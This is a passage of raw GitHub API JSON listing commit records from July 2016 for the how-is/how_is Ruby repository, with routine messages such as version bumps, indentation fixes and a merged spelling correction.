tions_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e19243c87faf0d56258d3acb1ebf937fe953c8e6","url":"https://api.github.com/repos/how-is/how_is/commits/e19243c87faf0d56258d3acb1ebf937fe953c8e6","html_url":"https://github.com/how-is/how_is/commit/e19243c87faf0d56258d3acb1ebf937fe953c8e6"}]},{"sha":"e19243c87faf0d56258d3acb1ebf937fe953c8e6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTE5MjQzYzg3ZmFmMGQ1NjI1OGQzYWNiMWViZjkzN2ZlOTUzYzhlNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:20:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:20:23Z"},"message":"Add missing ''C::''s in lib\\how_is\\cli.rb.","tree":{"sha":"99adbe9ab3e78360fc21572d4a417e4a3f6713f3","url":"https://api.github.com/repos/how-is/how_is/git/trees/99adbe9ab3e78360fc21572d4a417e4a3f6713f3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e19243c87faf0d56258d3acb1ebf937fe953c8e6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e19243c87faf0d56258d3acb1ebf937fe953c8e6","html_url":"https://github.com/how-is/how_is/commit/e19243c87faf0d56258d3acb1ebf937fe953c8e6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e19243c87faf0d56258d3acb1ebf937fe953c8e6/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","url":"https://api.github.com/repos/how-is/how_is/commits/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","html_url":"https://github.com/how-is/how_is/commit/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557"}]},{"sha":"2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmViMDhkMWFjMDhlMGZiMmZhOTc3OTA5NzdiYzdlOGEwNmJmMjU1Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:14:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:14:46Z"},"message":"documentation, use contracts.","tree":{"sha":"27c0d11e570872bf74b8f272af3f068d5a1a2d88","url":"https://api.github.com/repos/how-is/how_is/git/trees/27c0d11e570872bf74b8f272af3f068d5a1a2d88"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","html_url":"https://github.com/how-is/how_is/commit/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2eb08d1ac08e0fb2fa97790977bc7e8a06bf2557/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"46ee53d66956582f273e61a8c0924a77683a8fb3","url":"https://api.github.com/repos/how-is/how_is/commits/46ee53d66956582f273e61a8c0924a77683a8fb3","html_url":"https://github.com/how-is/how_is/commit/46ee53d66956582f273e61a8c0924a77683a8fb3"}]},{"sha":"46ee53d66956582f273e61a8c0924a77683a8fb3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDZlZTUzZDY2OTU2NTgyZjI3M2U2MWE4YzA5MjRhNzc2ODNhOGZiMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-27T18:37:37Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-07-27T18:37:37Z"},"message":"Merge pull request #23 from olleolleolle/patch-1\n\nSpelling in OptParser help for --config","tree":{"sha":"52b5ff49e6ac49ee6f024f0790ae43a80ed9896b","url":"https://api.github.com/repos/how-is/how_is/git/trees/52b5ff49e6ac49ee6f024f0790ae43a80ed9896b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/46ee53d66956582f273e61a8c0924a77683a8fb3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/46ee53d66956582f273e61a8c0924a77683a8fb3","html_url":"https://github.com/how-is/how_is/commit/46ee53d66956582f273e61a8c0924a77683a8fb3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/46ee53d66956582f273e61a8c0924a77683a8fb3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8d93274bb1171a8523bf6662466cd9de01060008","url":"https://api.github.com/repos/how-is/how_is/commits/8d93274bb1171a8523bf6662466cd9de01060008","html_url":"https://github.com/how-is/how_is/commit/8d93274bb1171a8523bf6662466cd9de01060008"},{"sha":"d559be7b347ff20f0909746f38a61d48bdeef582","url":"https://api.github.com/repos/how-is/how_is/commits/d559be7b347ff20f0909746f38a61d48bdeef582","html_url":"https://github.com/how-is/how_is/commit/d559be7b347ff20f0909746f38a61d48bdeef582"}]},{"sha":"8d93274bb1171a8523bf6662466cd9de01060008","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGQ5MzI3NGJiMTE3MWE4NTIzYmY2NjYyNDY2Y2Q5ZGUwMTA2MDAwOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-22T20:43:10Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-22T20:43:10Z"},"message":"Add Thumbs.db to .gitignore.","tree":{"sha":"3962faa711e192a43d8f1df882b14e3affdcc512","url":"https://api.github.com/repos/how-is/how_is/git/trees/3962faa711e192a43d8f1df882b14e3affdcc512"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8d93274bb1171a8523bf6662466cd9de01060008","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8d93274bb1171a8523bf6662466cd9de01060008","html_url":"https://github.com/how-is/how_is/commit/8d93274bb1171a8523bf6662466cd9de01060008","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8d93274bb1171a8523bf6662466cd9de01060008/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c2529836e1ce2b608d7119466882fc1dce1143eb","url":"https://api.github.com/repos/how-is/how_is/commits/c2529836e1ce2b608d7119466882fc1dce1143eb","html_url":"https://github.com/how-is/how_is/commit/c2529836e1ce2b608d7119466882fc1dce1143eb"}]},{"sha":"c2529836e1ce2b608d7119466882fc1dce1143eb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzI1Mjk4MzZlMWNlMmI2MDhkNzExOTQ2Njg4MmZjMWRjZTExNDNlYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-22T20:34:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-22T20:34:12Z"},"message":"First pass at generating reports based on a config file.","tree":{"sha":"a817d5c3d7b5639143992c1eefb711901831cb76","url":"https://api.github.com/repos/how-is/how_is/git/trees/a817d5c3d7b5639143992c1eefb711901831cb76"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c2529836e1ce2b608d7119466882fc1dce1143eb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c2529836e1ce2b608d7119466882fc1dce1143eb","html_url":"https://github.com/how-is/how_is/commit/c2529836e1ce2b608d7119466882fc1dce1143eb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c2529836e1ce2b608d7119466882fc1dce1143eb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"de78d49271e995cd56ee94d845a2276b188b6879","url":"https://api.github.com/repos/how-is/how_is/commits/de78d49271e995cd56ee94d845a2276b188b6879","html_url":"https://github.com/how-is/how_is/commit/de78d49271e995cd56ee94d845a2276b188b6879"}]},{"sha":"de78d49271e995cd56ee94d845a2276b188b6879","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGU3OGQ0OTI3MWU5OTVjZDU2ZWU5NGQ4NDVhMjI3NmIxODhiNjg3OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:34:08Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:34:08Z"},"message":"Version bump.","tree":{"sha":"ae431d263551ccfe8617b2540667aeeb9d0c453e","url":"https://api.github.com/repos/how-is/how_is/git/trees/ae431d263551ccfe8617b2540667aeeb9d0c453e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/de78d49271e995cd56ee94d845a2276b188b6879","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/de78d49271e995cd56ee94d845a2276b188b6879","html_url":"https://github.com/how-is/how_is/commit/de78d49271e995cd56ee94d845a2276b188b6879","comments_url":"https://api.github.com/repos/how-is/how_is/commits/de78d49271e995cd56ee94d845a2276b188b6879/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e27b8facba0409381efa3762eda9266a3580748c","url":"https://api.github.com/repos/how-is/how_is/commits/e27b8facba0409381efa3762eda9266a3580748c","html_url":"https://github.com/how-is/how_is/commit/e27b8facba0409381efa3762eda9266a3580748c"}]},{"sha":"e27b8facba0409381efa3762eda9266a3580748c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTI3YjhmYWNiYTA0MDkzODFlZmEzNzYyZWRhOTI2NmEzNTgwNzQ4Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:33:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:33:56Z"},"message":"Fix indentation.","tree":{"sha":"3ae9691a8b0b47cd9037ec0622d6287c5a4697bc","url":"https://api.github.com/repos/how-is/how_is/git/trees/3ae9691a8b0b47cd9037ec0622d6287c5a4697bc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e27b8facba0409381efa3762eda9266a3580748c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e27b8facba0409381efa3762eda9266a3580748c","html_url":"https://github.com/how-is/how_is/commit/e27b8facba0409381efa3762eda9266a3580748c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e27b8facba0409381efa3762eda9266a3580748c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","url":"https://api.github.com/repos/how-is/how_is/commits/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","html_url":"https://github.com/how-is/how_is/commit/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf"}]},{"sha":"e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTlkOGFkYzBmYzRiYjQzY2UwYWFhNjk4YTFlMTdkYzRkZGI1YTBiZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:33:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-21T12:33:47Z"},"message":"Make HowIs.generate_analysis public.","tree":{"sha":"0fd5fc8bb98256fb525e8ae271641f91d90fe103","url":"https://api.github.com/repos/how-is/how_is/git/trees/0fd5fc8bb98256fb525e8ae271641f91d90fe103"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","html_url":"https://github.com/how-is/how_is/commit/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e9d8adc0fc4bb43ce0aaa698a1e17dc4ddb5a0bf/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9882f8e566af691f1033c3e5f44cdf94b6e40658","url":"https://api.github.com/repos/how-is/how_is/commits/9882f8e566af691f1033c3e5f44cdf94b6e40658","html_url":"https://github.com/how-is/how_is/commit/9882f8e566af691f1033c3e5f44cdf94b6e40658"}]},{"sha":"9882f8e566af691f1033c3e5f44cdf94b6e40658","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTg4MmY4ZTU2NmFmNjkxZjEwMzNjM2U1ZjQ0Y2RmOTRiNmU0MDY1OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:25:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:25:31Z"},"message":"Version bump.","tree":{"sha":"d4726b8c9d615ec48d3cec2fbd7d05903573f4cc","url":"https://api.github.com/repos/how-is/how_is/git/trees/d4726b8c9d615ec48d3cec2fbd7d05903573f4cc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9882f8e566af691f1033c3e5f44cdf94b6e40658","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9882f8e566af691f1033c3e5f44cdf94b6e40658","html_url":"https://github.com/how-is/how_is/commit/9882f8e566af691f1033c3e5f44cdf94b6e40658","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9882f8e566af691f1033c3e5f44cdf94b6e40658/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b653e9c6dda760621653f715a4f2551fc5b12e39","url":"https://api.github.com/repos/how-is/how_is/commits/b653e9c6dda760621653f715a4f2551fc5b12e39","html_url":"https://github.com/how-is/how_is/commit/b653e9c6dda760621653f715a4f2551fc5b12e39"}]},{"sha":"b653e9c6dda760621653f715a4f2551fc5b12e39","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjY1M2U5YzZkZGE3NjA2MjE2NTNmNzE1YTRmMjU1MWZjNWIxMmUzOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:22:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-07-19T07:22:52Z"},"message":"Merge pull request #22 from duckinator/summary\n\nAdd text summary.","tree":{"sha":"986118fe6a7e7f90652d440feddb2841a2c370ad","url":"https://api.github.com/repos/how-is/how_is/git/trees/986118fe6a7e7f90652d440feddb2841a2c370ad"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b653e9c6dda760621653f715a4f2551fc5b12e39","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b653e9c6dda760621653f715a4f2551fc5b12e39","html_url":"https://github.com/how-is/how_is/commit/b653e9c6dda760621653f715a4f2551fc5b12e39","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b653e9c6dda760621653f715a4f2551fc5b12e39/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/g